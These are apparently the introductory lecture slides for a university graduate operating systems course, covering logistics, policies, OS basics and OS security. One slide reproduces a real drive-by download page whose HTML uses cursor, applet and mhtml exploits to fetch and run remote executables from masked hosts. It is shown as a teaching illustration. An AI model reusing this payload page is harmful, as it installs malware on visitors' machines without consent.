280 likes | 573 Views
CS503: Operating Systems Spring 2014. Dongyan Xu Department of Computer Science Purdue University. General Information. Web Page: http://www.cs.purdue.edu/homes/cs503 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform:
E N D
CS503: Operating SystemsSpring 2014 Dongyan Xu Department of Computer SciencePurdue University
General Information Web Page: http://www.cs.purdue.edu/homes/cs503 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router (MIPS ISA) Xinu on x86 virtual machine
Staff • Dongyan Xu (7th time teaching CS354) • Ph.D. University of Illinois at Urbana-Champaign • Prof. (2013-present), Assoc. Prof. (2007-13), Assist. Prof. (2001-2007) • Research: • Virtualization (VMware, Xen, KVM…) • Malware (rootkits, botnets, APTs…) defense • Cloud computing • Binary reverse engineering • Office hours (Tue. 3pm-5pm, LWSN1173)
Staff • Teaching Assistants • Liang Li • Bo Sang • Office hours to be announced
On-line Discussion Venue: Piazza Please join by accessing: https://piazza.com/purdue/fall2013/cs503 All announcements will be posted there Discussion on labs It is your responsibilityto check for official announcements, clarification of lab specification, and answers to lab-related questions. But grades will still be posted on Blackboard Learn http://www.itap.purdue.edu/learning/tools/blackboard/
PSOs There are no PSO sessions this week and next week The labs will be explained in PSOs. Attendance is not mandatory (but encouraged)
Grading Grade breakdown: Midterm: 20% Final: 25% Labs: 45% Paper reviews: 10% (5-6 papers)
Late/Grading Policies • Check Blackboard Learn for grade posting • Late policy for labs • No late submission accepted, but you will have 4non-emergency Bonus Days (penalty-free) • Labs will be done individually • General discussion allowed • Must be on your own when coding starts
Re-Grading Policy • You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading • Re-grading requests for exams need to be in writing • After the re-grading period, no re-grading request will be honored.
Academic Integrity Policy • Academic integrity: lifeline in academia • Your labs, exams, and paper reviews must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get • Zero for the project/quiz/exam at first offense • F grade for the course thereafter • Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating
Lecture Format • Help you understand important and hard OS concepts, design, and implementation • Lectures do not cover everything • Not all questions in exams are from lectures • But many of them are • Your responsibility • Attend lectures • Read code, textbook, lecture notes, assigned papers • Labs, exams • Periodically check web page • Read/participate in Piazza discussion
Course Organization OS overview Computer architecture overview Processes scheduling and management Process synchronization Memory management Interrupt processing 7. Device drivers 8. File system
Pre-requisite • Undergraduate OS and architecture • C programming proficiency
Introduction • A computer system consists of • Hardware • System programs • Application programs 1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first.
What is an Operating System (OS) It is a system program that sits between hardware and application programs. The program starts running at boot time. Who boots up the OS? BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed
What does an OS do? “To serve and to protect” It offers services that are common to all applications: Program execution, printing, windowing, file access, resource allocation It enables multitasking Allows multiple processes running at the same time It offers protection/security. E.g., a user cannot see files of other users.
(Lack of) OS Security • Malware • Botnets • Worms • Why do they spread so quickly? • Spyware, keylogger, identity theft, blackmail… GREETINGS FROM GENERAL ENCRYPTION! TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS
A Real Incident • Upon Clicking a malicious URL • http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html <html><head><title></title></head><body> <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> try{ document.write('<object data=`ms-its: mhtml:file: //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){}</script> </body></html> MS05-002 MS03-011 MS04-013 22 unwanted programs installed without user’s consent!
What does an operating system offer? Reliability Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running. Fairness access to resources has to be fair across users with the same priority. Support for multiple users It allows running multiple users in the same machine simultaneously.
The Operating System Zoo Mainframe OS Server OS Multiprocessor OS Personal computer OS Real-time OS Embedded OS Smartphone OS Browser OS Cloud OS OS for OSes (hypervisors) 21
Windows 8 22
Android 23
Android Platformhttp://code.google.com/android/ The first complete, open, and free mobile platform 24
Summary • Course overview • Policy and requirement • What is OS? • OS history • Coming up next: • Review of computer architecture and program structure